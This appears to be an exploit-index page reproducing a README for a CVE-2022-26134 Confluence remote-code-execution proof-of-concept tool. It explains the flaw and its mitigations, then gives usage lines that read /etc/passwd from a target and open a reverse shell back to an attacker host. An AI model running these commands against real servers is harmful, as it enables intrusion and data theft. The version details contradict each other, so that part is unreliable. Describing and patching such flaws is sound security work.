## https://sploitus.com/exploit?id=0D82568E-1BE6-532A-B930-085AE2C9280C
# CVE-2022-26134-poc
**CVE-2022-26134** is a **Remote Code Execution (RCE) vulnerability** that affects Atlassian Confluence Server and Data Center. This vulnerability arises from servers failing to properly filter inputs when processing OGNL expressions, allowing attackers to execute arbitrary code with privileged account privileges.
### **Vulnerability Details**
1. **OGNL Expression Injection**:
- OGNL is a Java expression language used to manipulate properties of Java objects. Atlassian Confluence Server uses OGNL to process user input, but certain interfaces fail to properly validate and filter inputs. Attackers can construct malicious OGNL expressions and execute them on the server without authorization.
2. **Unauthorized Access**:
- This vulnerability can be exploited without authentication. Any unlogged-in attacker can send malicious requests directly. Once the server parses and executes the attacker’s injected OGNL expressions, attackers can execute arbitrary commands or code remotely.
3. **Attack Path**:
- Attackers typically send specially designed malicious HTTP requests through publicly accessible Confluence services. These requests may use specific HTTP headers or parameters to inject OGNL expressions.
### **Impact**
1. **Remote Code Execution**:
- Attackers can fully control the affected server, including executing arbitrary commands, installing malware, or implant backdoors.
2. **Data Exposure**:
- Attackers can access sensitive information on the server, such as database configurations and stored user data.
3. ** Lateral Movement**:
- After successful attacks, attackers may use the compromised server as a platform to further attack other internal systems.
4. **DDoS and Malware Deployment**:
- Attackers can use the compromised server to perform Distributed Denial-of-Service attacks (DDoS) or deploy encrypted mining malware.
5. **Wide Scope**:
- Since Confluence is a commonly used tool for enterprise collaboration, many companies worldwide are affected. If the service is accessible over the internet, attackers can discover vulnerable instances through simple scans.
### **Affected Versions**
- Atlassian Confluence Server and Data Center:
- **Versions 7.18.0 and earlier**
- **LTS versions 7.4.17 and earlier**
---
### **Repairs and Mitigations**
1. **Software Upgrade**:
- Atlassian has released patches. Impacted users should upgrade to the following secure versions:
- Versions 7.4.17 or higher
- Versions 7.18.1 or higher
2. **Temporary Mitigation**:
- If an immediate upgrade is not possible, it is recommended to restrict access to Confluence services, such as using a firewall to limit access only to trusted IP addresses.
3. **Monitoring and Detection**:
- Check server logs for abnormal requests. Use security tools to check whether the vulnerability has been exploited.
4. **Elimination of Malicious Backdoors**:
- If a compromised server is detected, immediately isolate the system and check for malicious code or backdoors.
### **Summary**
CVE-2022-26134 is a highly dangerous vulnerability. Its ability to be exploited without authentication can lead to severe data breaches and service interruptions. Timely application of security updates and enhanced system monitoring are crucial to addressing this vulnerability. **Through the Wire** is a proof-of-concept vulnerability exploitation tool targeting the **CVE-2022-26134** vulnerability. This vulnerability affects Atlassian Confluence Server and Data Center (versions 7.13.6 LTS and earlier, as well as 7.18.0). This vulnerability was previously exploited widely.
### **Features of the Tool**
- It provides two ways of exploitation:
1. **Reverse Shell**: Runs via `bash`, making it easier to detect.
2. **File Reading**: Executes directly from memory, making it harder to detect.
- **Supported Systems**: Only available for Linux-based Confluence; not supported for Windows.
- **Tested Versions**: 7.13.6 LTS and 7.18.0.
### **Example Usage**
#### **Reading Files**
```bash
python3 through_the_wire.py --rhost --lhost --protocol http:// --read-file /etc/passwd
```
#### **Getting a Shell**
```bash
python3 through_the_wire.py --rhost --rport --lhost --protocol http:// --reverse-shell
```
### **Notes**
1. **Reverse Shell** generates and sends a payload to obtain a shell on the target machine.
2. **File Reading** example can directly read file contents from the target system (e.g., `/etc/passwd`).
### **Acknowledgments**
- Thanks to APT31.
- Inspiration source: Ye ([Watch Video](https://www.youtube.com/watch?v=AE8y25CcE6s)).
### **Additional Resources**
- **Sample Packets**: [Download Link](https://github.com/jbaines-r7/through_the_wire/files/8833875/confluence_two_pcap.zip)
- **Video Demonstration**: [Click to Watch](https://youtu.be/GP9C4D0YNkM)
---